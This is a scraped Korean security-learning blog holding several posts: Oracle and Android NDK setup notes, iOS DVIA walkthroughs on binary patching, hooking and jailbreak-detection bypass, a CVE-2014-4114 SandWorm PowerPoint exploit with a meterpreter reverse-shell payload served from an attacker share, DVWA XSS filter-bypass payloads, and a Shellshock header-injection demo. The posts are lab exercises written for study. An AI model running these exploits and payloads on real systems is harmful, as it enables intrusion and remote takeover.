SQLNET.AUTHENTICATION_SERVIVCES = {none | NTS}
->  클라이언트가 오라클 서버로 접속할 때 오라클이 어떠한 인증 서비스를 사용할 것인가, none으로 설정하면 sys account로 login할 때, 반드시 암호를 입력해야 들어갈 수 있음)

NAMES.DIRECTORY_PATH = {tnsnames | onames | hostname}
->  클라이언트가 디비 접속 시 사용하는 string name alias를 무엇을 통해 확인할 것인지 설정.(tnsnames 로컬네임서버 ; tnsnames는 tnsnames.ora 파일의 정보를 이용하여 확인하겠다는 의미, onames 오라클 네임서버 , hostname 호스트네임서버)

AUTOMATIC_IPC = ON
->  AUTOMATIC_IPC = { ON | OFF }
ON으로 되어 있는경우 SQL*Net이 같은 alias정보를 가진 local database가 있는지 check

TRACE_LEVEL_CLIENT = OFF
-> client쪽에 trace 설정 방법


* tnsnames.ora 와 listner.ora

tnsnames.ora 파일은 client에서 Oracle server에 접속할 때 필요한 정보들을 설정하는 파일로, listener.ora 파일은 client가 Oracle server에 접속하기 위해서 server 컴퓨터에 하는 설정 파일이다.


출처 : http://sarc.io/index.php/oracle-database/186-2014-06-10-01-33-05

저작자 표시 비영리 동일 조건 변경 허락
신고

'99. ETC' 카테고리의 다른 글

오라클 접속 정보 설정(listener.ora, sqlnet.ora, tnsnames.ora)  (0) 2014.11.30
윈도우 가젯 All CPU Meter  (0) 2014.09.28
HAXE  (0) 2014.03.20
로그인 바탕화면 바꾸기  (0) 2014.03.09
BulletsPassView  (0) 2014.03.07
Access Passview - mdb Password Recovery Tool  (0) 2014.02.05

Cross compiling static C hello world for Android using arm-linux-gnueabi-gcc



sudo apt-get install gcc-arm-linux-gnueabi



#include <stdio.h>


int main(int argc, char** argv) {

   printf("hello world\n");

   return 0;

}


arm-linux-gnueabi-gcc -static -march=armv5 hi.c -o hi

arm-none-linux-gnueabi-gcc -o hello -static hello.c



adb push hi /data/hi

adb shell /data/hi



http://stackoverflow.com/questions/9324772/cross-compiling-static-c-hello-world-for-android-using-arm-linux-gnueabi-gcc


안됨-_-




Android-NDK 다운로드

http://developer.android.com/tools/sdk/ndk/index.html


7z으로 압축해제


/usr/android-ndk 로 옮김

# mv ~Document/android-ndk/ /usr/android-ndk


.bashrc 에 PATH 등록

export PATH="/usr/android-ndk:$PATH"


환경설정 재 등록

# sourc .bashrc


추가 잘되었는지 확인

# $PATH 



테스트 실행

# ndk-build


아래 메세지가 나오면 path 설정 완료

Android NDK: Could not find application project directory !    

Android NDK: Please define the NDK_PROJECT_PATH variable to point to it.    

/usr/android-ndk/build/core/build-local.mk:148: *** Android NDK: Aborting    .  Stop.



프로젝트 생성

jni 디렉토리 생성


[Android.mk]

LOCAL_PATH := $(call my-dir) include $(CLEAR_VARS) LOCAL_MODULE := hello LOCAL_SRC_FILES := hello.c include $(BUILD_EXECUTABLE)

[hello.c]

#include <stdio.h> int main() { printf("hello ARM android!\n"); return 0; }

$(BUILD_EXECUTABLE)  -> 컴파일 될 바이너리를 실행파일로

빌드 전

jni/Android.mk

jni/hello.c


# ndk-build



oneandonlyme@ubuntu:~/Documents/android-dev$ ndk-build [armeabi] Compile thumb : hello <= hello.c [armeabi] Executable : hello [armeabi] Install : hello => libs/armeabi/hell



..?



저작자 표시 비영리 동일 조건 변경 허락
신고

'00. > 01. C, C++' 카테고리의 다른 글

arm-llinux-gnueabi-gcc를 이용한 android C언어 크로스 컴파일  (0) 2014.11.28
C++ Hello World  (0) 2014.06.23

iRET, Snoop-it 동시 설치


iRET과 Snoop-it을 설치 시 "trying to overwrite '/Applications/._.DS_Store'" 에러 메시지 출력


#dpkg-deb -x iRET.deb iRET_tmp/                            #패키지 내용 추출

#dpkg-deb -e iRET.deb iRET_tmp/DEBIAN/               #컨트롤 파일 추출

#find iRET_tmp/ -name "*DS_Store" -type f -delete    #모든 DS_Store 파일 삭제

#vi iRET_tmp/DEBIAN/control                                    #버전 태그 더블쿼터(")

#dpkg-deb -b iRET_tmp/ updated_iRET.deb             # 새로운 deb 파일 생성


iRET과 Snoop-it 두개의 패키지는 모두 ._.DS_Store을 포함하고 있어 충돌 다는 것으로 추측한다. iRET을 언팩하고 다시 패키징하여 충돌 이슈를 제거했다.



Snoop-it 설치 된 iDevice에서 에러 없이 updated_iRET.deb 파일 설치 가능합니다.


※ 참조 : http://oldmanlab.blogspot.kr/2014/11/trying-to-overwrite-applicationsdsstore.html

저작자 표시 비영리 동일 조건 변경 허락
신고

'40. > 42. iOS' 카테고리의 다른 글

[DVIA] 11. Sensitive Information in memory  (0) 2015.01.26
iOS GNU Debugger 설치  (0) 2015.01.20
iRET, Snoop-it 동시 설치  (0) 2014.11.23
iNalyzer5  (0) 2014.11.23
[DVIA] 10. Binary Patching  (0) 2014.11.12
[DVIA] 03. Runtime Manipulation  (0) 2014.09.11

iNalyzer5

40./42. iOS 2014.11.23 17:55

iNalyzer5




 iNalyzer - AppSec : https://appsec-labs.com/inalyzer/

 Doxygen : http://www.stack.nl/~dimitri/doxygen/download.html

 Graphviz : http://www.graphviz.org/Download_windows.php












# cd /Application/iNalyzer5.app/

# ./iNalyzer5











iNalyzer5.7z



저작자 표시 비영리 동일 조건 변경 허락
신고

'40. > 42. iOS' 카테고리의 다른 글

iOS GNU Debugger 설치  (0) 2015.01.20
iRET, Snoop-it 동시 설치  (0) 2014.11.23
iNalyzer5  (0) 2014.11.23
[DVIA] 10. Binary Patching  (0) 2014.11.12
[DVIA] 03. Runtime Manipulation  (0) 2014.09.11
[DVIA] 02. Jailbreak Detection  (5) 2014.09.11

[DVIA] 10. Binary Patching


모바일 애플리케이션의 실행 파일을 패치함으로써 애플리케이션의 기능을 영구적으로 변경 가능하다. 



101. Login Method 1


DVIA 모바일 애플리케이션에서 바이너리 패치 문제 중 첫번째 "Login Method 1"는 계정과 비밀번호로 인증하는 기능이다. 계정과 비밀번호가 틀려도 로그인 가능하면 성공이다.


계정과 비밀번호에 aa로 인증 시도하였으나, Oops 경고창을 확인했다.


# 진행 단계 #

1. 테스트 실행 (로그인 불가능)

2. Snoop-it을 이용하여 동적 Object-C Class/Object-C Method 호출 확인

3. IDA(Disassembler)를 이용하여 Object-C Method 동작 확인

4. Hex Editor를 이용하여 바이너리 패치

5. 실행권한 및 소유자 변경

6. 동작확인



iDevice에서 Snoop-it 실행하고, DVIA를 선택한다.


DVIA를 실행하고 메뉴에서 Binary Patching을 선택한다. Snoop-it에서 DVIA내 Object-C Class 호출을 트레킹하여 아래와 같이 초록색 동그라미로 표시해 준다. Binary Patching 메뉴를 선택하면 호출되는 Object-C Class는 UIViewController 내 ApplicationPatchingVC, ApplicationPatchingDetailsVC임을 확인 가능하다. 


ApplicationPatchingDetailsVC Object-C Class에서 -(void)loginMethod1Tapped:(id)arg0;라는 Object-C Method가 로그인 버튼(Login Method 1) 클릭시 동작하는 기능임을 추측한다. 


이제 DVIA를 실행파일을 추츨하러 iDevice에서 터미널로 접근하다.

실행 파일의 위치는 ps를 이용하여 확인 가능하다.


# ps -ef | grep Damn


실행 파일 추출 전, otool 명령어를 이용하여 암호화 여부를 확인한다.

#otool -l /Application/DamnVulnerableIOSApp.app/DamnVulnerableIOSApp | grep crypt

만일 cryptid가 1이면 AppStore에 올릴때 Apple에서 암호화한것이므로 Clutch와 같은 툴을 이용하여 암호를 해독한 후 추출해야한다.


WinSCP를 이용하여 추출하였으나 다른 방법도 무방하다.


이제 디스어셈블러를 이용하여 분석을 할 것이다.

일단 IDA를 실행하여 이전에 추출한 실행파일을 올린다. (사용한 IDA버전은 6.5)


IDA 좌측에 Functions Windows에서 Function name을 검색한다. 이전에 확인한 ApplicationPatchingDetailsVC내 loginMethod1Tapped를 검색한다.


loginMethod1Tapped 메소드는 아래 이미지와 같이 동작한다.

(열심히 이미지 수정을 하였으나, 업로드 이미지가 똥이다.ㅡㅡ)

일단 상단에서 계정이 Admin인지 확인을 하고 분기문(BEQ)를 이용하여 나눠진다.

만일 Admin이 맞다면 그다음 비밀번호가 This!sA5Ecret인지 확인한다.

비밀번호 또한 맞다면 로그인 성공 페이지를 보며주고, 둘다 틀리다면 로그인 실패 페이지를 보여준다.


첫번째 분기문에서 스페이스를 누르면 아래와 같이 주소 정보를 확인 가능하다
__text:0001F3C6    BEQ    loc_1F42C


Hex Editor를 이용하여 해당 주소 값을 변경한다. (BEQ -> BNQ)

BEQ loc_1F42C == 31D0

BNQ loc_1F42C == 31D1


두번째 분기문에서 스페이스를 눌러서 아래와 같이 주소 정보를 확인한다.

__text:0001F41E    BEQ    loc_1F438


Hex Editor에 주소 검색을 이용하여 쉽게 주소 위치 검색 가능하다.


Hex Editor를 이용하여 해당 주소 값을 변경한다. (BEQ -> BNQ)

BEQ loc_1F42C == 31D0

BNQ loc_1F42C == 31D1


이제 변경한 실행파일을 다시 iDevice에서 넣는다.


실행 권한과 사용자를 변경한다.

# chmod 755 DamnVulnerableIOSApp

# chown mobile.staff DamnVulnerableIOSApp


이제 로그인 시 계정과 비밀번호에 aa만 넣어도 로그인 인증이 성공한다.




102. Check For Jailbreak



Login Method 1과 동일


103. Show alert


Show alert문제는 I love Google이라고 출력되는 경고창을 I Love Apple로 변경하라는 문제이다. 


# 진행 단계 #

1. 테스트 실행 (I love Google)

2. 실행 파일 추출 Hex Editor를 이용하여 바이너리 패치

3. 실행권한 및 소유자 변경

4. 동작확인


실행 파일 위치 확인 및 추출한다.

# ps -ef | grep Damn


Hex editor에서 I love Google을 검색(Text String)하여 I love apple!로 변경한다. Google과 Apple의 문자열 길이다 다르기 때문에 친절하게 느낌표(!)를 넣었다. 


실행 권한을 부여한다.

# chmod 755 


Show alert을 이용하여 I love Apple! 문자열을 확인한다.


014. kill Application



Login Method 1과 동일








저작자 표시 비영리 변경 금지
신고

'40. > 42. iOS' 카테고리의 다른 글

iRET, Snoop-it 동시 설치  (0) 2014.11.23
iNalyzer5  (0) 2014.11.23
[DVIA] 10. Binary Patching  (0) 2014.11.12
[DVIA] 03. Runtime Manipulation  (0) 2014.09.11
[DVIA] 02. Jailbreak Detection  (5) 2014.09.11
[DVIA] 01. Insecure Data Storage  (0) 2014.09.10

SandWorm MS파워포인트(PPT) exploit


Microsoft PowerPoint Vulnerable to Zero-Day Attack


발생 원인


발생 원인은 윈도우 Object Linking과 Embedding(OLE) 속성의 부분인 PACKAGER.DLL에 취약점이 존재한다. 조작된 PowerPoint 문서를 이용하여 OLE object 내에 작성되어있는 원격 SMB 공유 서버 접속 주소로 접근 후 .INF을 로컬로 복사하여 실행이 가능하다. 이와 같은 방법으로 다른 악성 코드까지 다운로드하여 실행이 가능하다. 


공격 방법


+ CVE-2014-4114 [SandWorm]

SandWorm 취약점은 Microsoft PowerPoint 모든 버전에서 발생한다.

실행 환경 : Kali linux, Windows 7 x64 Microsoft Office Standard 2013


 사용한 exploit Code : http://www.exploit-db.com/exploits/35019/ 

 Full 버전 다운로드 : http://www.exploit-db.com/sploits/35019.tar.gz


Kali linux 는 Samba 서비스가 실행되어야 하며, 악성코드를 실행할 Window s 에서 접근이 가능해야 한다.

~ /share/35019 $ 35019.tar.gz 압축을 해제하면 아래와 같은 3개의 파일을 확인 가능하다.


~ /share/35019 $ python cve-2014-4114py 192.168.10.114 share xxx.exe

- 192.168.10.114 : 공격자 ip (samba 서비스 실행)

- share : samba 공유 폴더

- xxx.exe : dropper로 이용할 실행 파일


명령어 실행 후 생성된 ./out 폴더에서 exploit.ppsxxxx.inf을 확인 가능하다.

두 파일을 Kali 공유 폴더로 이동 시킨다.

~ /share/35019 $ cp ./* ../../../share/


metasploit을 이용하여 TCP_reverse (TCP 연결) 할 실행파일을 생성한다.

~ /share/35019 $ msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.43 LPORT=8888 exitfunc=thread X > ../../../share.xxx.gif


공유 폴더를 확인하면 exploit.ppsx, xxx,gif xxx,inf와 같이 3개의 파일을 확인 가능하다.


~ /share/35019 $ msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.168.1.43 LHOST=8888 E

TCP_reverse 실행 할 파일이 연결 가능한 Payload를 열어둔다.


공격당할 대상은 Windows 7 x64입니다. kali에서 Samba서비스를 통해 공유한 폴더에 접근한다. 실행창에서 \\192.168.10.114 명령어를 실행하면 공유폴더 접근 가능하다.


exploit.ppsx를 Windows Desktop에 복사한다.


실행!! 아래와 같은 러시아(?) 문자로 된 PPT를 확인 가능 합니다. PPT를 다음장으로 넘기기 위해 클릭하세요. 그럼 공유폴더에 있던 xxx.gif가 실행됩니다.


msfcli payload 연결을 위해 포트를 열고있던 Kali Linux에서 192.168.10.109:49210(Windows)에서 접속한 것을 확인 가능하다.


명령어가 생각이.. 만만한 screenshot!! 찰칵!


이미지가 저장된 경로를 확인하면 아래와 같이 ~~~~.jpeg파일을 생성을 확인한다.


잘 찍혔습니다. 짠~


끝.


분석


악성 파일 트리거로 사용한 PPSX 샘플을 분석하면 다음과 같은 콘텐츠를 확인 가능하다. 확장자를 PPSX에서 ZIP으로 변경하면 압축을 해제하여 안에 내용물을 확인 가능하다.


exploit.zip > ppt > embeddings > oleObject1.bin, oleObject2.bin


exploit.zip > ppt > sildes > xlide1.eml


exploit.zip > ppt > sildes > _rels > slide1.xml.rels


oleObject1.bin과 oleObject2.bin 컨텐츠를 따라가면 원격에 있는 공유 폴더 명과 악성파일에 접근 접근 가능한  IP 주소 확인이 가능하다.



slide1.xml 파일을 보면 "rld4"와 "rld5"라는 2개의 Packager Shell Object 볼 수 있다. 


slide1.xml.rels 파일을 보면 이전에 "rld4"와 "rld5"가 ../embeddings/oleObject1.bin, ../embeddings/oleObject2.bin으로 정의 된 것을 확인 가능하다.


slide1.xml 파일을 보면 슬라이드1을 열때 "xxx.gif"와 "xxx.inf"라는 파일이 packager.dll에 의해 로컬에 복사된다. 또한 특정 엑션을 확인하면 "-3"과 다른 값을 "3"으로 설명되어 있는 것을 확인 가능하다. 이 두개의 엑션은 OLE object를 호출하게 되며, 이 루틴은 packager!CPackage::Doverb()함수에서 확인 가능하다.


함께 생성된 xxx.inf 파일을 확인하면 하단에 xxx.gif파일을 xxx.gif.exe 파일로 인식하도록 변경하고, 레지스트리 시작에 경로를 입력하여 xxx.gif.exe가 실행되도록 설정되어 있다.

※ 참고 자료

http://www.exploit-db.com/exploits/35019/

http://thehackernews.com/2014/10/microsoft-powerpoint-vulnerable-to-zero.html

http://blog.trendmicro.com/trendlabs-security-intelligence/an-analysis-of-windows-zero-day-vulnerability-cve-2014-4114-aka-sandworm/

http://blog.vulnhunt.com/index.php/2014/10/14/cve-2014-4114_sandworm-apt-windows-ole-package-inf-arbitrary-code-execution/



SandWorm.7z



저작자 표시 비영리 변경 금지
신고

[XSS] PHP htmlspecialchars 우회


PHP htmlspecialchars 함수 우회 가능성을 확인


Damn Vulnerable Web App(DVWA)에서 Stored XSS를 풀고 있는데 low와 medium의 경우 쉽게 풀리지만 high의 경우 htmlspecialchars()함수를 사용하기 때문에 쉽게 문제 풀이를 진행하지 못하고있다.


Damn Vulnerable Web App(DVWA) : Stored XSS



# Stored XSS Low 


<script>alert(1)</script>





# Stored XSS medium

message의 경우 htmlspecialchars() 함수를 사용하여 스크립트 문자열이 치환되어 사용되지 않는다. name의 경우 htmlspecialchars()함수를 사용하지 않고 <script>만 공백으로 치환하므로 공격을 시도한다.


name의 경우 maxlength가 10이므로 해당 제한을 개발자 도구로 제거하거나 중간프록시 툴을 이용하여 우회하여 스크립트를 삽입한다. 


<scr<script>ipt>alert(2)</script>




# Stored XSS high


포기...



htmlspecialchars() 함수


PHP의 htmlspecialchars() 함수는 웹 페이지에서 html로 인식되는 태그 문자열을 변환해주는 함수이다. 예를 들어 "<"(less than) 와 ">"(greater than)와 같은 미리 정의된 문자열을 HTML entities로 변경해준다.


htmlspecialchars.php 소스

<?php

$str = "This is some <b>bold</b> text.";

echo htmlspecialchars($str);

?> 


View Source(페이지 소스 확인)

<!DOCTYPE html>

<html>

<body>

This is some &lt;b&gt;bold&lt;/b&gt; text.

</body>

</html>


웹 브라우저에서 확인


 This is some <b>bold</b> text.


정의 및 사용


htmlspecialchars() 함수는 미리 정의된 문자들을 HTML entities로 변경해준다.


미리 정의된 문자 :

  • & (ampersand) becomes &amp;
  • " (double quote) becomes &quot;
  • ' (single quote) becomes &#039;
  • < (less than) becomes &lt;
  • > (greater than) becomes &gt;


문법 :


 htmlspecialchars(string,flags,character-set,double_encode)


 참조 : w3schools : http://www.w3schools.com/php/func_string_htmlspecialchars.asp





htmlspecialchars() 함수 XSS 우회




# Str_replace 우회

<?php

echo "<html><br>";

echo 'Your name is ' . str_replace('script', null, $_GET["name"]);

 /*

xss1.php?name=admin

Output: "Your name is admin"

*/

echo "<br></html>";

?>

많은 보안 가이드를 보면 <script>와 같은 XSS발생 가능한 모든 html 테그를 replace하라고 한다. 하지만 이 방법은 다른 보안 취약점을 발생할 가성이 높으며, 여전히 보안 홀이 크다.


xss1.php 소스코드


xxs1.php?name=oneandonlyme


xxs1.php?name=<script>alert("XSS");</script>

script 필터링을 확인 가능하다.


xss1.php?name=<ScRiPt>alert(String.fromCharCode(88,83,83))</ScRiPt>




#htmlentities 우회

<?php

echo "<img alt='Profile' src='".htmlentities($_GET["img"])."' />";

/*

page.php?img=photo-1.jpg

Output: <img alt='Profile' src='photo-1.jpg' />

*/

?>

htmlentities 함수도 html 테그를 자동으로 변환하여 준다.


xss2.php 소스코드


원래 소스코드는 경로를 받아와서 호출하는 웹 페이지입니다.


xss2.php?img=.%BF%27 STYLE=xss:expression(alert(1));

STYLE 테그를 이용하는 XSS가 발생 가능하다.



#  htmlspecialchars 우회

<?php

echo "<html><br>";

echo '<object data="'.htmlspecialchars($_GET['img']).'"></object>';

/*

xss3.php?img=data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik8L3NjcmlwdD4=

Output: <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik8L3NjcmlwdD4="></object>

*/

echo "<br></html>";

?>


xss3.php 소스코드



xss3.php?img=data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik8L3NjcmlwdD4=

htmlspecialchars()  함수를 사용하여도 인코딩된 입력값은 변환이 불가능하다. 그러므로 XSS가 발생함을 확인 가능하다.


XSS 취약점에 대해서 PHP 소스 보안대책으로 htmlspecialchars() 사용을 권장하지만 잘못된 코딩방식으로 안전한 함수를 취약하게 사용 할 수 있다. 


 출처 :  WIREMASK : http://wiremask.eu/how-to-bypass-xss-filters/



xss1.php


xss2.php


xss3.php


저작자 표시 비영리 변경 금지
신고

'30. > 31. Web' 카테고리의 다른 글

[XSS] PHP htmlspecialchars 우회  (0) 2014.10.13
Obfuscated code  (0) 2014.10.10
[정보수집] Google Hacking  (1) 2014.07.01
[XSS] Xenotix XSS Exploit Framework  (0) 2014.06.27
Miss-Configuration  (0) 2014.06.21
Inclusion Attacks  (0) 2014.06.21

Obfuscated code

30./31. Web 2014.10.10 11:53
Input the JJEncode here:
Decoded JJEncode String:

0 character(s)



http://htmlobfuscator.com/

http://cat-in-136.github.io/2010/12/aadecode-decode-encoded-as-aaencode.html

저작자 표시 비영리 변경 금지
신고

'30. > 31. Web' 카테고리의 다른 글

[XSS] PHP htmlspecialchars 우회  (0) 2014.10.13
Obfuscated code  (0) 2014.10.10
[정보수집] Google Hacking  (1) 2014.07.01
[XSS] Xenotix XSS Exploit Framework  (0) 2014.06.27
Miss-Configuration  (0) 2014.06.21
Inclusion Attacks  (0) 2014.06.21

GNU Bash 환경 변수 명령어 인젝션 Shellshock


GUN bash Environment Variable Command Injection


발생 원인


공격 문구를 삽입할 때 () { :;}; [공격 명령어]; 를 이용하여 bash 쉘의 취약점을 이용하게 됩니다. 쉘 스크립트 문법을 분석했을때 함수선언 () 이후 { } 중괄호에 있는 코드를 실행 후 종료해야 하지만 Syntax 오류로 인해 종료되어야 할 시점 이후로 파싱되어 공격 명령어가 실행됩니다.


테스트 및 공격방법 


+ CVE-2014-6271 [bash 테스트]

Shellshock 취약점이 발생하는지 테스트는 Unix 터미널에서 아래와 같이 입력한다.

 env check = 'Not vulnerable' x='() { :;}; check=Vulnerable' bash -c 'echo $check'


실행환경 : Ubuntu 10.04

~ $ uname -a


~ $ bash --version


터미널에서 환경변수를 입력하여 취약하면 Vulnerable 이라는 check 변수의 값을 확인 가능하다.


만일 취약하지 않다면 x함수를 정의하지 못해 무시한다는 문구를 확인 가능하다. 

bash: warning: x: ignoring function definition attempt bash: error importing function definition for 'x' vulnerable


+ CVE-2014-6271 : Remote Code execution through bash [공격방법]

Shellshock 취약점을 이용하여 Apache 서버를 원격으로 공격 가능한지 확인한다.

 [root@host cgi-bin]# curl -k -H 'User-Agent: () { :;}; echo aa>/tmp/aa'  localhost/cgi-bin/hi


테스트 환경 : CentOS 6.3

] # uname -a


apache 서비스 시작합니다.

] # service httpd start



Apache의 cgi-bin을 이용하여 bash에 접근할 것이며, 이용할 페이지는 아래와 같이 간단하게 만든다.

 CGI (Common Gateway Interface) 프로그램은 웹과 서버사이의 data 교환을 해주는 역활을 하며, 보편적으로 Perl과 C언어로 작성되어 있다.

# pwd

# ll hi

# cat hi


다른 PC 에서 웹서버 및 cgi-bin 구동을 확인한다.


일단 Apache가 구동되어있는 서버에서 Shellshock 취약점이 정상 작동하는지 테스트한다.

] # curl -k -H 'User-Agent: () { :;}; echo "test, oneandonlyme">/tmp/aa'  http://localhost/cgi-bin/hi


임시 폴더인 tmp 밑에 echo를 이용하여 aa파일 생성 후 "test, oneandonlyme" 문장을 리다이렉트가 된것을 확인 가능하다. cat을 이용하여 /tmp/aa 내용을 확인하면 아래와 같다.



이제 원격에서 웹 브라우저를 이용하여 공격합니다.

사용 도구 : Firefox beta 버전인 Aurora, Burp Suite Free Edition v1.5


웹 브라우저를 이용하여 해당 웹 서비스에 접근 가능한지 확인합니다.


중간 프록시 툴을 이용하여 웹 서비스에 접근할때 HTTP 요청 페이지를 확인합니다.


HTTP 요청 페이지에서 User-Agent를 변경한다. 

Shellshock 공격 코드인 () { :;} [실행하고 싶은 명령어] 입력 후 전송(Forward)한다.


웹 페이지는 HTTP 정상 응답 된 것을 확인 가능하다.


공격받은 Apache 웹 서버에서 결과를 확인한다. tmp 아래 aa 파일에 "test2,by oneandonlyme." 라고 작성된 파일이 HTTP 요청으로 생성된 것을 확인 가능하다.



실행원리


env val='() { :;}; echo [Unexpected command]' bash -c "echo [Real command]"

[Unexpected command]

[Real Command]


1. env val - bash 명령어가 실행되기 전에 env 환경 설정 변수가 설정된다.

2. echo [Unexpected command] - 임의로 고정시킨 명령어가 실행된 후 bash가 실행된다.

3. Unexpected command - 예상하지 못했던 먼저 실행된다.

4. Real command - 예상된 명령어가 다음 실행된다.



bash 취약점 보안 가이드


http://mac-how-to.wonderhowto.com/how-to/every-mac-is-vulnerable-shellshock-bash-exploit-heres-patch-os-x-0157606/


참조 자료


http://lifehacker.com/how-to-check-if-your-mac-or-linux-machine-is-vulnerable-1639211806

https://www.reddit.com/r/netsec/comments/2hbxtc/cve20146271_remote_code_execution_through_bash/

http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6271



저작자 표시 비영리 변경 금지
신고

윈도우 가젯 All CPU Meter


CPU, 프로세서, 온도, 사용률 등 컴퓨터 상태를 확인 가능한 프로그램입니다.

Tool name

 All CPU Meter

 Author

 -

 Website

 http://addgadgets.com/all_cpu_meter/

 License type

 Free

 Download

 

All_CPU_Meter.zip











저작자 표시 비영리 변경 금지
신고

'99. ETC' 카테고리의 다른 글

오라클 접속 정보 설정(listener.ora, sqlnet.ora, tnsnames.ora)  (0) 2014.11.30
윈도우 가젯 All CPU Meter  (0) 2014.09.28
HAXE  (0) 2014.03.20
로그인 바탕화면 바꾸기  (0) 2014.03.09
BulletsPassView  (0) 2014.03.07
Access Passview - mdb Password Recovery Tool  (0) 2014.02.05

[DVIA] 03. Runtime Manipulation


Runtime Manipulation은 모바일 애플리케이션이 실행 중에 GDB, Cycript 등을 이용하여 동적으로 기능을 변경하는 방법이다. 


GDB나 Cycript는 이전 [DVIA] 02. Jailbreak Detection에서 사용하였으므로 이번에는 Snoop-it과 Theos/MobileSubstrate(Tweak)을 이용할 것이다.


031. Login Method 1


Theos는 Xcode를 사용하지 않고 iDevice의 소프트웨어를 관리, 개발 및 배포 가능한 크로스 플랫폼 개발 도구이다. ThoOS는 탈옥한 iOS에서 Tweak을 개발하기 위한 중요한 도구이다.


DVIA 모바일 애플리케이션에서 Login Method 1을 클릭하면 "Oops"라는 경고창을 확인 가능하다.


# 진행단계 #

1. 테스트 실행(로그인 불가능)

2. Theos 트윅 개발

3. 트윅 설치

4. 실행 확인


# /private/var/theos/bin/nic.pl

Choose a Template (required): 5

theos를 실행하고 [5.] iphone/tweak을 선택한다. 

Project Name (required): DVIBypass

Package Name [com.yourcompany.dviabypass]:

Author/maintainer Name [System Administrator]:

[iphone/tweak] MobileSubstrate Bundle filter [com.apple.springboard]: com.highaltitudehacks.dvia

[iphone/tweak] List of application to terminate upon installation (space-separated, '-' for non) [SpringBoard]: -

MobileSubstrate Bundle filter에서 입력할 정보는 우리가 Tweak을 적용할 모배일 애플리케이션 명을 선택하며 DVIA의 전체 명칭를 적어준다.


현재 디렉토리에 DVIABypass.plist, Makefile, Tweak.xm, control, theos@가 생성된다. 그중 Tweak.xm이라는 파일에 후킹할 Object-C Class와 Object-C Method를 적어주면 된다.


후킹할 Object-C Class는 RuntimeManipulationDetaileVC 내 isLoginValidated이며, 해당 return 정보가 YES이면 로그인 인증이 성공하고, NO이면 로그인 인증이 실패한다.

해당 정보는 Class-dump-z를 이용하여 Object-C Class/Method를 확인 가능하다.

%hook RuntimeManipulationDetailsVC

- (BOOL)isLoginValidated {

return YES;

}

%end


export THEOS_DEVICE_IP=192.168.10.105 : 현재 iDevice의 IP주소

export SDKVERSION=8.1 : iOS 버전(8.1.2) 및 SDK 버전

export THEOS=/private/var/theos/ : theos 설치 경로


# make package install


com.yourcompany.dviabypass_0.0.1-1_iphoneos-arm.deb가 생성됨을 확인 가능하다.


또한, install명령어로 해당 패키지가 자동으로 설치 되어있다.


이전과 차이점은 /Libary/MobileSubstrate/DynamicLibraries 아래 DVIABypass.dylib와 DVIABypass.plist가 생성되어 있다.

MobileSubstrate는 기본적으로 모바일 후킹(Mobile Hooker), 모바일 로더(MobileLoader), 안전모드(Safe mode) 3가지 기능을 지원해준다.


Cydia 패키지를 확인하면 아래와 같이 설치됨을 확인 가능하다.



DVIA으로 돌아가서 로그인을 시도하면 계정과 비밀번호를 몰라도 로그인이 가능하다.





032. Login Method 2


Snoop-it은 동적으로 모바일 앱을 분석하기 위한 툴이다. 다양한 기능을 제공하나 Analysis/Objective-C Classes에서 Setup and Invoke라는 기능을 이용하여 로그인 우회를 할 것이다. 


Runtime Manipulation에서 계정과 비밀번호를 이용하여 로그인을 해야한다.


Snoop-it을 실행하고 DVIA을 선택한다.


DVIA를 실행한 후 웹 브라우저로 iDevice의 IP주소로 접근하면 아래와 같이 Snoop-it이 정상 실행되는 것을 확인 가능하다. DVIA에서 Runtime Manipulation 화면을 호출하면 Object-C Classes에서 RuntimeManipulationDetailsVC가 호출됨을 트레킹 가능하다.


RuntimeManipulationDetailsVC/-(void)pushSuccessPage;(Object-C Class/Object-C Method)를 선택한 후 우측 상단에 setup and invoke 기능을 실행한다.


invoke Method 메소드 호출한다.


DVIA 애플리케이션을 확인하면 로그인 성공 페이지가 강제로 호출됨을 확인가능하다.







저작자 표시 비영리 변경 금지
신고

'40. > 42. iOS' 카테고리의 다른 글

iNalyzer5  (0) 2014.11.23
[DVIA] 10. Binary Patching  (0) 2014.11.12
[DVIA] 03. Runtime Manipulation  (0) 2014.09.11
[DVIA] 02. Jailbreak Detection  (5) 2014.09.11
[DVIA] 01. Insecure Data Storage  (0) 2014.09.10
[iOS] Logify  (0) 2014.07.24

[DVIA] 02. Jailbreak Detection


iOS 탈옥(iOS jailbreaking)은 iOS의 제한을 풀어 사용자의 루트에 접근할 수 있게 함으로써 서명되지 않은 코드를 실행할 수 있게 하는 과정을 말한다. 보안 상으 문제로 탈옥을 탐지하도록 되어있으며 DVIA를 이용하여 탈옥 탐지 우회를 시도 할 것이다.

※ 탈옥을 하는 이유 중 하나는 앱플과 앱 스토어가 막아 놓은 컨텐츠에 접근성 때문에 탈옥합니다. 



021. Jailbreak Test 1 (GDB)


DVIA 모바일 앱에서 Jailbreak Detection을 메뉴를 선택한 후 "Jailbreak Test 1"을 확인하면 탈옥 탐지를 확인하는 "Device is Jailbreken" 경고 메시지를 확인 할 수 있다.


# 진행단계 #

1. 테스트 실행(탐지)

2. Class 정보 획득

3. GDB 사용 (Break Point 설정)

4. Jailbreak Test 클릭

5. Break Point로 인하여 일시 정지

6. 탈옥 탐지 후 리턴 정보 수정

7. RUN


Class-dump-z를 이용하여 실행 중인 DVIA의 Class 정보를 획득한다.

~ # ps -ef | grep "Damn"

~ # class-dump-z /var/mobile/Application/[DVIA 설치 ]/DamnVulnerableIOSApp.app/DamnVulnerableIOSApp > DVIA.classdum.txt


텍스트 파일로 저장한 DVIA class 정보를 분석하여 - (void) jailbreakTest1Tapped: (id) tapped; 변수에서 탈옥 탐지 여부에 대한 정보를 저장하는 것을 확인 가능하다.


GNU 소프트웨어 시스템을 위한 기본 디버거인 GDB를 이용하여 실행 중인 DVIA에 attach 한다. 

~ # gdb

(gdb) attach [DVIA 앱 이름].PID



이전에 Class-dump-z에서 확인한 jailbreakTest1Tapped에 중단점을 걸어둡니다.

(gdb) b jailbreakTest1Tapped:


(gdb) c


(gdb) c

계속 진행하다보면 BreakPoint에 걸린 주소 위치가 출력이 됩니다.


disassemble 명령어를 이용하여 어셈블리 코드를 확인합니다.

